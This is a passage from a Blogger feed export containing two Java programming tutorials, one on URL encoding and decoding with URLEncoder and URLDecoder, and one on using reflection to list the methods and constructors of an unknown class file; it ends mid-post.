domain="http://www.blogger.com/atom/ns#">urldecoder</category><category domain="http://www.blogger.com/atom/ns#">urlencoder</category><category domain="http://www.blogger.com/atom/ns#">utf</category><title>URL Encoding and Decoding using Java</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
It is common requirement to implement URL encoding and decoding in Java while creating crawlers or downloaders. This post focus on creating modules for encoding and decoding of the passed url using Java.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Language Used:&lt;/b&gt;&lt;br /&gt;
Java&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Git Location:&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;https://github.com/csanuragjain/extra/tree/master/EncodeDecodeURL&quot;&gt;https://github.com/csanuragjain/extra/tree/master/EncodeDecodeURL&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Program:&lt;/b&gt;&lt;br /&gt;
&lt;i&gt;main method:&lt;/i&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; public static void main(String[] args) {  
           // TODO Auto-generated method stub  
           String url=&quot;https%3A%2F%2Fr1---sn-ci5gup-cags.googlevideo.com%2Fvideoplayback%3Fpcm2cms%3Dyes%26mime%3Dvideo%252Fmp4%26pl%3D21%26itag%3D22%26\u0026itag=43\u0026type=video%2Fwebm%3B+codecs%3D%22vp8.0%2C+vorbis%22\u0026quality=medium&quot;;  
           String url2=&quot;https://r1---sn-ci5gup-cags.googlevideo.com/videoplayback?pcm2cms=yes&amp;amp;mime=video/mp4&amp;amp;pl=21&amp;amp;itag=22&amp;amp;&amp;amp;itag=43&amp;amp;type=video/webm; codecs=\&quot;vp8.0, vorbis\&quot;&amp;amp;quality=medium&quot;;  
           String decodeURL = decode(url);  
           System.out.println(&quot;Decoded URL: &quot;+decodeURL);  
           String encodeURL = encode(url2);  
           System.out.println(&quot;Encoded URL2: &quot;+encodeURL);  
      }  
&lt;/code&gt;&lt;/pre&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;i&gt;How it works:&lt;/i&gt;&lt;br /&gt;
1) url is the variable having encoded url which we want to decode&lt;br /&gt;
2) url2 is the variable having an url which we want to encode&lt;br /&gt;
3) We call the decode method which decodes the url and then print the same.&lt;br /&gt;
4) We call the encode method which encodes the url2 and then print the same.&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;encode method:&lt;/i&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;      public static String encode(String url)  
      {  
                try {  
                     String encodeURL=URLEncoder.encode( url, &quot;UTF-8&quot; );  
                     return encodeURL;  
                } catch (UnsupportedEncodingException e) {  
                     return &quot;Issue while encoding&quot; +e.getMessage();  
                }  
      }  
&lt;/code&gt;&lt;/pre&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;i&gt;How it works:&lt;/i&gt;&lt;br /&gt;
1) We use the encode method of a predefined java class named URLEncoder&lt;br /&gt;
2) encode method of URLEncoder takes 2 arguments&lt;br /&gt;
3) 1st argument defines the url to be encoded&lt;br /&gt;
4) 2nd argument defines the encoding scheme to be used&lt;br /&gt;
5) After encoding the resulting encoded url is returned&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;decode method:&lt;/i&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;      public static String decode(String url)  
      {  
                try {  
                     String prevURL=&quot;&quot;;  
                     String decodeURL=url;  
                     while(!prevURL.equals(decodeURL))  
                     {  
                          prevURL=decodeURL;  
                          decodeURL=URLDecoder.decode( decodeURL, &quot;UTF-8&quot; );  
                     }  
                     return decodeURL;  
                } catch (UnsupportedEncodingException e) {  
                     return &quot;Issue while decoding&quot; +e.getMessage();  
                }  
      }  
&lt;/code&gt;&lt;/pre&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;i&gt;How it works:&lt;/i&gt;&lt;br /&gt;
1) Since same url can be encoded multiple times so we need to decode until url cannnot be decoded further.&lt;br /&gt;
2) For eg: &quot;video%252Fmp4&quot; is result of 2 encoding. On decoding it once we get &quot;video%2Fmp4&quot;. Now url need to be further decoded so when we apply decoding again we get &quot;video/mp4&quot;, which is the result.&lt;br /&gt;
3) We use the decode method of a predefined java class named URLDecoder&lt;br /&gt;
4) decode method of URLDecoder takes 2 arguments&lt;br /&gt;
5) 1st argument defines the url to be decoded&lt;br /&gt;
6) 2nd argument defines the decoding scheme to be used&lt;br /&gt;
7) After decoding the resulting decoded url is returned&lt;br /&gt;
8) We create 2 variables prevURL which is empty and decodeURL which contain the url to be decoded.&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; Variable State:  
 prevURL = &quot;&quot;  
 decodeURL =&quot;somethingvideo%252Fmp4&quot;  
&lt;/code&gt;&lt;/pre&gt;
9) We create an iteration which runs until prevURL!=decodeURL&lt;br /&gt;
10) Now we update prevURL to decodeURL and update decodeURL with the decoded value of the url passed.&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; Variable State:  
 prevURL = &quot;somethingvideo%252Fmp4&quot;  
 decodeURL =&quot;somethingvideo%2Fmp4&quot;  
&lt;/code&gt;&lt;/pre&gt;
11) Since prevURL!=decodeURL so Step 10 runs again&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; Variable State:  
 prevURL = &quot;somethingvideo%2Fmp4&quot;  
 decodeURL =&quot;somethingvideo/mp4&quot;  
&lt;/code&gt;&lt;/pre&gt;
12) Since prevURL!=decodeURL so Step 10 runs again&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; Variable State:  
 prevURL = &quot;somethingvideo/mp4&quot;  
 decodeURL =&quot;somethingvideo/mp4&quot;  
&lt;/code&gt;&lt;/pre&gt;
13) Since prevURL=decodeURL so the decoded url is returned.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Output:&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; Decoded URL: https://r1---sn-ci5gup-cags.googlevideo.com/videoplayback?pcm2cms=yes&amp;amp;mime=video/mp4&amp;amp;pl=21&amp;amp;itag=22&amp;amp;&amp;amp;itag=43&amp;amp;type=video/webm; codecs=&quot;vp8.0, vorbis&quot;&amp;amp;quality=medium  
 Encoded URL2: https%3A%2F%2Fr1---sn-ci5gup-cags.googlevideo.com%2Fvideoplayback%3Fpcm2cms%3Dyes%26mime%3Dvideo%2Fmp4%26pl%3D21%26itag%3D22%26%26itag%3D43%26type%3Dvideo%2Fwebm%3B+codecs%3D%22vp8.0%2C+vorbis%22%26quality%3Dmedium  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Full Program:&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; package com.cooltrickshome;  
 import java.io.UnsupportedEncodingException;  
 import java.net.URLDecoder;  
 import java.net.URLEncoder;  
 public class URLEncodeDecode {  
      public static void main(String[] args) {  
           // TODO Auto-generated method stub  
           String url=&quot;https%3A%2F%2Fr1---sn-ci5gup-cags.googlevideo.com%2Fvideoplayback%3Fpcm2cms%3Dyes%26mime%3Dvideo%252Fmp4%26pl%3D21%26itag%3D22%26\u0026itag=43\u0026type=video%2Fwebm%3B+codecs%3D%22vp8.0%2C+vorbis%22\u0026quality=medium&quot;;  
           String url2=&quot;https://r1---sn-ci5gup-cags.googlevideo.com/videoplayback?pcm2cms=yes&amp;amp;mime=video/mp4&amp;amp;pl=21&amp;amp;itag=22&amp;amp;&amp;amp;itag=43&amp;amp;type=video/webm; codecs=\&quot;vp8.0, vorbis\&quot;&amp;amp;quality=medium&quot;;  
           String decodeURL = decode(url);  
           System.out.println(&quot;Decoded URL: &quot;+decodeURL);  
           String encodeURL = encode(url2);  
           System.out.println(&quot;Encoded URL2: &quot;+encodeURL);  
      }  
      public static String decode(String url)  
      {  
                try {  
                     String prevURL=&quot;&quot;;  
                     String decodeURL=url;  
                     while(!prevURL.equals(decodeURL))  
                     {  
                          prevURL=decodeURL;  
                          decodeURL=URLDecoder.decode( decodeURL, &quot;UTF-8&quot; );  
                     }  
                     return decodeURL;  
                } catch (UnsupportedEncodingException e) {  
                     return &quot;Issue while decoding&quot; +e.getMessage();  
                }  
      }  
      public static String encode(String url)  
      {  
                try {  
                     String encodeURL=URLEncoder.encode( url, &quot;UTF-8&quot; );  
                     return encodeURL;  
                } catch (UnsupportedEncodingException e) {  
                     return &quot;Issue while encoding&quot; +e.getMessage();  
                }  
      }  
 }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Hope it helps :)&lt;/b&gt;&lt;/div&gt;
</description><link>https://cooltrickshome.blogspot.com/2017/03/url-encoding-and-decoding-using-java.html</link><author>noreply@blogger.com (csanuragjain)</author><thr:total>4</thr:total><georss:featurename>India</georss:featurename><georss:point>20.593684 78.962880000000041</georss:point><georss:box>-8.6044825 37.654286000000042 49.791850499999995 120.27147400000004</georss:box></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1099539711585569086.post-3819004720628324038</guid><pubDate>Sun, 26 Feb 2017 15:42:00 +0000</pubDate><atom:updated>2017-04-04T09:30:22.347-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">api</category><category domain="http://www.blogger.com/atom/ns#">class</category><category domain="http://www.blogger.com/atom/ns#">constructor</category><category domain="http://www.blogger.com/atom/ns#">decompile</category><category domain="http://www.blogger.com/atom/ns#">disassemble</category><category domain="http://www.blogger.com/atom/ns#">field</category><category domain="http://www.blogger.com/atom/ns#">inspect</category><category domain="http://www.blogger.com/atom/ns#">invoke</category><category domain="http://www.blogger.com/atom/ns#">java</category><category domain="http://www.blogger.com/atom/ns#">method</category><category domain="http://www.blogger.com/atom/ns#">read</category><category domain="http://www.blogger.com/atom/ns#">reflection</category><category domain="http://www.blogger.com/atom/ns#">reverse</category><category domain="http://www.blogger.com/atom/ns#">source</category><title>Java Reflection- Reading unknown class file</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;fira sans&amp;quot; , &amp;quot;helvetica neue&amp;quot; , &amp;quot;helvetica&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif;&quot;&gt;&lt;span style=&quot;background-color: white;&quot;&gt;Java Reflection allows you to inspect&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; font-family: &amp;quot;fira sans&amp;quot; , &amp;quot;helvetica neue&amp;quot; , &amp;quot;helvetica&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif;&quot;&gt;interfaces, fields and methods&lt;/span&gt;&lt;span style=&quot;background-color: white; font-family: &amp;quot;fira sans&amp;quot; , &amp;quot;helvetica neue&amp;quot; , &amp;quot;helvetica&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif;&quot;&gt;&amp;nbsp;from a known or an unknown class. It also allows you to call methods from these unknown class which otherwise wont be possible.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; font-family: &amp;quot;fira sans&amp;quot; , &amp;quot;helvetica neue&amp;quot; , &amp;quot;helvetica&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif;&quot;&gt;This post is for inspecting class , methods, constructors, fields from an unknown class. In the next post, I would be sharing on how you could utilize and execute those retrieved methods.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; font-family: &amp;quot;fira sans&amp;quot; , &amp;quot;helvetica neue&amp;quot; , &amp;quot;helvetica&amp;quot; , &amp;quot;arial&amp;quot; , sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;b&gt;Reference:&lt;/b&gt;&lt;br /&gt;
&lt;span style=&quot;color: #0000ee;&quot;&gt;&lt;u&gt;http://stackoverflow.com/questions/37628/what-is-reflection-and-why-is-it-useful&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #0000ee;&quot;&gt;&lt;u&gt;http://www.javatpoint.com/java-reflection&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #0000ee;&quot;&gt;&lt;u&gt;http://tutorials.jenkov.com/java-reflection/index.html&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #0000ee;&quot;&gt;&lt;u&gt;http://www.oracle.com/technetwork/articles/java/javareflection-1536171.html&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Language Used:&lt;/b&gt;&lt;br /&gt;
Java&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Git Location:&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;https://github.com/csanuragjain/extra/tree/master/ReflectionReadAPI&quot;&gt;https://github.com/csanuragjain/extra/tree/master/ReflectionReadAPI&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Related:&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;https://cooltrickshome.blogspot.in/2017/04/java-reflection-accessingmodifying.html&quot;&gt;https://cooltrickshome.blogspot.in/2017/04/java-reflection-accessingmodifying.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Pre-requisite:&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
1) We have a class file named&amp;nbsp;Unknown.class.&lt;br /&gt;
2) Unknown.class is the compiled class file and contains the byte code&lt;br /&gt;
3) You cannot check the methods and fields from this class unless you&amp;nbsp;deobfuscate the java file&lt;br /&gt;
4) You cannot directly call the methods from this class in Eclipse unless and until you copy the java source code which you obtained by deobfuscating this class into a new java file in eclipse. (Or you use Reflection, which we will see :) )&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Program:&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;i&gt;Obtaining the real class name from Unknown.class:&lt;/i&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;      public static void main(String[] args) {  
           ClassLoader cl;  
           Class c;  
           try {  
           File file = new File(&quot;.&quot;);  
           URL url = file.toURL();  
        URL[] urls = new URL[]{url};  
        cl = new URLClassLoader(urls);  
        c = cl.loadClass(&quot;Unknown&quot;);  
        System.out.println(c.isInterface());   
           } catch (ClassNotFoundException e) {  
                System.out.println(&quot;Requested class was not found &quot;+e.getMessage());  
           } catch (MalformedURLException e) {  
                System.out.println(&quot;Given class file url was not found &quot;+e.getMessage());  
           }  
      }  
&lt;/code&gt;&lt;/pre&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;i&gt;Output:&lt;/i&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinqW2DHkRB99sMPe63kXlNO6buNcIW-t-pyZ_WzwRJJeCblHiParl-oiXrk4FJaskokLac58AFLB-GDwCL9DnjatW9oZ8IkIJUjf2Anxoptv7eulC_8M4q3KG0Oi7pT5xoRga7djkGscaB/s1600/Output.PNG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;144&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinqW2DHkRB99sMPe63kXlNO6buNcIW-t-pyZ_WzwRJJeCblHiParl-oiXrk4FJaskokLac58AFLB-GDwCL9DnjatW9oZ8IkIJUjf2Anxoptv7eulC_8M4q3KG0Oi7pT5xoRga7djkGscaB/s640/Output.PNG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;i&gt;How it works:&lt;/i&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
1) We place the Unknown.class in the current project directory.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
2) We make a File object which points to the directory where Unknown.class is present. Since it is present in current directory we keep path as &#39;.&#39;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
3) We make a URL object using the above File object and then pass this object in a URL array.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
4) We use URLClassLoader to load the class from the URL we created.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
5) We retrieve the class instance using loadClass&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
6) isInterface method tells if Unknown.class is an interface&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
7) When we run this class we get an error&amp;nbsp;&lt;b&gt;&lt;i&gt;wrong name: com/cooltrickshome/completed/RunExternalProgram&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
8) This tells that real name of Unknown.class is RunExternalProgram.class and its part of package com.cooltrickshome.completed.RunExternalProgram&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
9) After knowing this, we create folders com/cooltrickshome/completed inside the current project directory (why: refer step 2)&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
10) We rename Unknown.class to RunExternalProgram.class and place it inside com/cooltrickshome/completed folder&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
11) Finally we change loadClass to&amp;nbsp;cl.loadClass(&quot;com.cooltrickshome.completed.RunExternalProgram&quot;);&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
12) Folder structure finally becomes ./com/cooltrickshome/completed/RunExternalProgram.class&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;i&gt;Obtaining the method name from this class file:&lt;/i&gt;&lt;/div&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;      public void printMethods(Class c) {  
           // Getting all the methods  
           System.out.println(&quot;\nMethods of this class&quot;);  
           Method methlist[] = c.getDeclaredMethods();  
           for (int i = 0; i &amp;lt; methlist.length; i++) {  
                Method m = methlist[i];  
                System.out.println(m.toString());  
                System.out.println(&quot;Method Name: &quot; + m.getName());  
                System.out.println(&quot;Declaring Class: &quot; + m.getDeclaringClass());  
                Class param[] = m.getParameterTypes();  
                for (int j = 0; j &amp;lt; param.length; j++)  
                     System.out.println(&quot;Param #&quot; + j + &quot;: &quot; + param[j]);  
                Class exec[] = m.getExceptionTypes();  
                for (int j = 0; j &amp;lt; exec.length; j++)  
                     System.out.println(&quot;Exception thrown by method #&quot; + j + &quot;: &quot;  
                               + exec[j]);  
                System.out.println(&quot;Method Return type: &quot; + m.getReturnType());  
                System.out  
                          .println(&quot;--------------------------------------------------\n&quot;);  
           }  
      }  
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;i&gt;Output:&lt;/i&gt;&lt;/div&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; Methods of this class  
 public static void com.cooltrickshome.completed.RunExternalProgram.main(java.lang.String[]) throws java.lang.InterruptedException,java.io.IOException  
 Method Name: main  
 Declaring Class: class com.cooltrickshome.completed.RunExternalProgram  
 Param #0: class [Ljava.lang.String;  
 Exception thrown by method #0: class java.lang.InterruptedException  
 Exception thrown by method #1: class java.io.IOException  
 Method Return type: void  
 --------------------------------------------------  
 public int com.cooltrickshome.completed.RunExternalProgram.getCounter(int)  
 Method Name: getCounter  
 Declaring Class: class com.cooltrickshome.completed.RunExternalProgram  
 Param #0: int  
 Method Return type: int  
 --------------------------------------------------  
 public void com.cooltrickshome.completed.RunExternalProgram.runProgram(java.lang.String[]) throws java.lang.InterruptedException,java.io.IOException  
 Method Name: runProgram  
 Declaring Class: class com.cooltrickshome.completed.RunExternalProgram  
 Param #0: class [Ljava.lang.String;  
 Exception thrown by method #0: class java.lang.InterruptedException  
 Exception thrown by method #1: class java.io.IOException  
 Method Return type: void  
 --------------------------------------------------  
 public void com.cooltrickshome.completed.RunExternalProgram.incrementCounter(int)  
 Method Name: incrementCounter  
 Declaring Class: class com.cooltrickshome.completed.RunExternalProgram  
 Param #0: int  
 Method Return type: void  
 --------------------------------------------------  
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;i&gt;How it works:&lt;/i&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
1)&amp;nbsp;getDeclaredMethods is used to retrieve the methods from the class passed in argument&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
2) We iterate through each method in a for loop&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
3) toString method of this method will print the full function prototype&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
4) getName is used to print the method name&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
5) getDeclaringClass is used to print the declaring class&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
6)&amp;nbsp;getParameterTypes is used to retrieve the parameters type used by this method&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
7)&amp;nbsp;getExceptionTypes is used to find the exception which this method throws&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
8)&amp;nbsp;getReturnType is used to retrieve the return type of this method.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;i&gt;Obtaining the Constructors from the class file:&lt;/i&gt;&lt;/div&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;      public void printConstructor(Class c) {  
           // Getting all the constructor  
           System.out.println(&quot;Constructor of this class&quot;);  
           Constructor[] constlist = c.getDeclaredConstructors();  
           for (int i = 0; i &amp;lt; constlist.length; i++) {  
                Constructor m = constlist[i];  
                System.out.println(m.toString());  
                System.out.println(&quot;Method Name: &quot; + m.getName());  
                System.out.println(&quot;Declaring Class: &quot; + m.getDeclaringClass());  
                Class param[] = m.getParameterTypes();  
                for (int j = 0; j &amp;lt; param.length; j++)  
                     System.out.println(&quot;Param #&quot; + j + &quot;: &quot; + param[j]);  
                Class exec[] = m.getExceptionTypes();  
                for (int j = 0; j &amp;lt; exec.length; j++)  
                     System.out.println(&quot;Exception thrown by method #&quot; + j + &quot;: &quot;  
                               + exec[j]);  
                System.out  
                          .println(&quot;--------------------------------------------------\n&quot;);  
           }  
      }  
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;i&gt;Output:&lt;/i&gt;&lt;/div&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; Constructor of this class  
 public com.cooltrickshome.completed.RunExternalProgram()  
 Method Name: com.cooltrickshome.completed.RunExternalProgram  
 Declaring Class: class com.cooltrickshome.completed.RunExternalProgram  
 --------------------------------------------------  
 public com.cooltrickshome.completed.RunExternalProgram(int)  
 Method Name: com.cooltrickshome.completed.RunExternalProgram  
 Declaring Class: class com.cooltrickshome.completed.RunExternalProgram  
 Param #0: int  
 --------------------------------------------------  
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;i&gt;How it works:&lt;/i&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
1)&amp;nbsp;getDeclaredConstructors is used to retrieve the constructors from the class passed in argument&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
2) We iterate through each constructor&amp;nbsp;in a for loop&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
3) toString method will print the full constructor prototype&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
4) getName is used to print the constructor&amp;nbsp;name&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
5) getDeclaringClass is used to print the declaring class&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
6)&amp;nbsp;getParameterTypes is used to retrieve the parameters type used by this constructor&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
7)&amp;nbsp;getExceptionTypes is used to find the exception which this constructor&amp;nbsp;throws&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
